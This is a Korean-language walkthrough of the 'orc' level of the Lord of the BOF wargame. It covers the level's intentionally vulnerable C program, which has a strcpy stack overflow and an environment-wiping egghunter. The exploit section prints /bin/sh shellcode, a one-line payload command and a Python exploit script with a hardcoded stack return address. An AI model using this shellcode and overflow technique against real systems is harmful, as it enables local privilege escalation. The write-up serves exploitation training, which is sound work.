[LOB]Level04. orc

 

+ EggHunter

goblin / hackers proof


/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

0x01. Analysis

이번 문제부터 조금씩 재밌어 진다.

먼저 egghunter라고 해서 스택에 복사된 환경변수 영역을 0으로 초기화 한다. (즉, 앞서 환경변수를 이용하여 쉘코드를 넣는 방식은 먹히지 않는다.)

그리고 argv[1]의 48번째 값이 “\xbf”인지 확인한다.

buffer의 크기가 40byte 이고, SFP 4byte, 그리고 RET 4byte가 들어가므로 argv[1] 배열에 48번째가 “\xbf”라는 것은 RET에 들어가는 첫번째 주소가 “\xbfxxxxxx”라는 점이다. 아래 사진을 보면 알 수 있다.

그러면 “\xbf”로 시작하는 주소는 어느 부분일까?

cat /proc/self/maps 명령어를 주면 현 시스템의 map 테이블을 볼 수 있다.

보통 리눅스 시스템에서 0x08xxxxxx 주소는 코드영역으로 사용되어 지고, 0x40xxxxxx는 라이브러리, 0xbfxxxxxx는 스택영역으로 사용되어 진다.

스택영역을 보면 rwx 모든 권한이 들어 있는 것을 알 수 있다.

gdb로 살펴보면 각 주소가 어느 영역인지 알 수 있다.

main함수를 디스어셈하면 0x80으로 시작되는 영역에 프로그램 코드들이 올라와 있는 것을 알 수 있다.

스택영역을 보면 역시나 0xbfxxxxxx 주소들로 이루어 진 것을 알 수 있다.

따라서 orc문제는 환경변수가 아닌 Stack영역에 쉘코드를 넣어서 풀어야 되는 문제이다. buffer 배열의 크기가 40byte로 Shellcode가 들어가기에 충분한 크기이므로 쉽게 풀 수 있을것 같다.

  • buffer 배열 크기 40byte
  • 환경변수 영역 0으로 초기화 (egghunter)
  • strcpy를 이용하여 argv[1] 인자 값을 buffer 배열로 복사
  • RET 첫 1byte ‘\xbf’로 시작

0x02. Exploit

shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

buffer의 크기가 40byte이므로 쉘코드(24byte)가 들어갈 수 있는 충분한 크기이지만 필자는 NOP크기를 적당히 크게 넣는걸 좋아해서 buffer배열에 쉘코드를 넣지 않고 RET 아래에 쉘코드를 넣을 것이다.

buffer 배열에 Shellcode를 넣는 방법, 그리고 RET주소 뒤 Stack영역에 Shellcode를 넣는 방법 모두 해보는 것을 추천한다.


정확한 스택 주소를 얻기 위해 core를 떨궈준다.

“S”가 들어간 위치가 쉘코드 24byte를 넣을 자리이다.


NOP 주소 중 적당한 0xbffffa60 주소를 RET에 넣으면 될 것 같다.


[goblin@localhost goblin]$ ./orc `python -c 'print "A"*44+"\x60\xfa\xff\xbf"+"\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

import os
import struct

append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)

target = "/home/goblin/orc"

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
shellcode_addr = 0xbffffa60 

payload = "\x90"*44
payload = append(p32(shellcode_addr))
payload = append("\x90"*50)
payload = append(shellcode)

pid = os.fork()

if pid == 0:
        os.execv(target, (target, payload))
else:
        os.waitpid(pid, 0)